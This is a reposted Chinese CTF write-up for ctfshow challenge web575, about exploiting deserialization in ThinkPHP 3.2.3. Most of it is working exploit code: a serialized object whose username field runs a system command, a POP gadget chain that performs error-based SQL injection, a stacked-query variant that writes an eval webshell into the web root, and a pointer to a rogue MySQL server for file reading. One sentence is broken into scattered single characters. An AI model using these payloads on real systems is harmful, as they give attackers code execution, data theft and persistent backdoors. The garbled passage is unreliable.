ctfshow ThinkPHP篇575
Posted yu22x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow ThinkPHP篇575相关的知识,希望对你有一定的参考价值。
web575
给了源码
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id)
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
$this->show($user->username);
首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username
就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量
payload:
<?php
namespace Home\\Controller
class IndexController
public $id='1'; //get传入的id也要相同
public $username='<?php system("cat /f*");?>';
namespace
use Home\\Controller\\IndexController;
echo base64_encode(serialize(new IndexController()));
?>
bp抓包修改cookie
当然除了这个方法以外我们还知道thinkphp3.2.3存在反序列化漏洞。
正好复现一下这个漏洞。
全局搜索__destruct
,我们要寻找存在这样可控参数调用方法的。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
接着全局搜索function destroy(
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
全局搜索function delete(
/ThinkPHP/Library/Think/Model.class.php
我们看下我们在上一步传入的参数中$this->sessionName
是可控的,但是后面拼接了个空字符,当我们给$this->sessionName
赋值数组,接着拼接上空字符串就会出问题了。
<?php
$a=array('a'=>'123');
var_dump($a."456"); //string(8) "Array456"
好在后面又调用了一次delete,并且传入的参数是完全可控的。
接着往下,可以看到调用了delete方法,并且$this->db
我们可控。
那么我们就可以调用自带的数据库类中的delete()方法了。
这些类都是继承Driver.class.php下的Driver类。
我们找到里面的delete方法,发现最终的sql语句是delete from后面拼接上了$table
,$table
是通过parseTable函数处理$options['table']
得到的,$options['table']
可控。
重点看下parseTable函数
如果我们的
t
a
b
l
e
s
是
字
符
串
,
就
会
逗
号
分
隔
又
合
并
,
其
实
没
什
么
大
影
响
。
返
回
的
还
是
‘
tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是`
tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是‘options[‘table’]`的值。
最后再来看下执行sql语句的execute函数
可以看到他首先执行了一个初始化,其实就是去连接数据库
第一个我们可以利用的点:报错注入
<?php
namespace Think\\Image\\Driver
use Think\\Session\\Driver\\Memcache;
class Imagick
private $img;
public function __construct()
$this->img=new Memcache();
namespace Think\\Session\\Driver
use Think\\Model;
class Memcache
protected $handle;
public function __construct()
$this->handle=new Model();
namespace Think
use Think\\Db\\Driver\\mysql;
class Model
protected $data = array();
protected $db = null;
protected $pk;
public function __construct()
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x3a,database(),0x3a),1)#",
"where" => "1"
);
namespace Think\\Db\\Driver
use PDO;
class Mysql
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
namespace
use Think\\Image\\Driver\\Imagick;
echo base64_encode(serialize(new Imagick()));
但是报错注入权限比较低,我们要想拿shell的话需要写入木马。所以可以开启堆叠后写入一句话木马.
<?php
namespace Think\\Image\\Driver
use Think\\Session\\Driver\\Memcache;
class Imagick
private $img;
public function __construct()
$this->img=new Memcache();
namespace Think\\Session\\Driver
use Think\\Model;
class Memcache
protected $handle;
public function __construct()
$this->handle=new Model();
namespace Think
use Think\\Db\\Driver\\Mysql;
class Model
protected $data = array();
protected $db = null;
protected $pk;
public function __construct()
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1"
);
namespace Think\\Db\\Driver
use PDO;
class Mysql
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
namespace
use Think\\Image\\Driver\\Imagick;
echo base64_encode(serialize(new Imagick()));
我们前面说到可以控制服务器去连接任意数据库,所以就可以构造恶意mysql数据库让服务器去连接。
脚本地址https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改要读的文件和端口(不要用3306)
修改php脚本中的ip、端口、库名等配置
运行脚本后传入序列化的值等待接收文件内容。
以上是关于ctfshow ThinkPHP篇575的主要内容,如果未能解决你的问题,请参考以下文章
ctfshow ThinkPHP篇—3.2.3(569-578)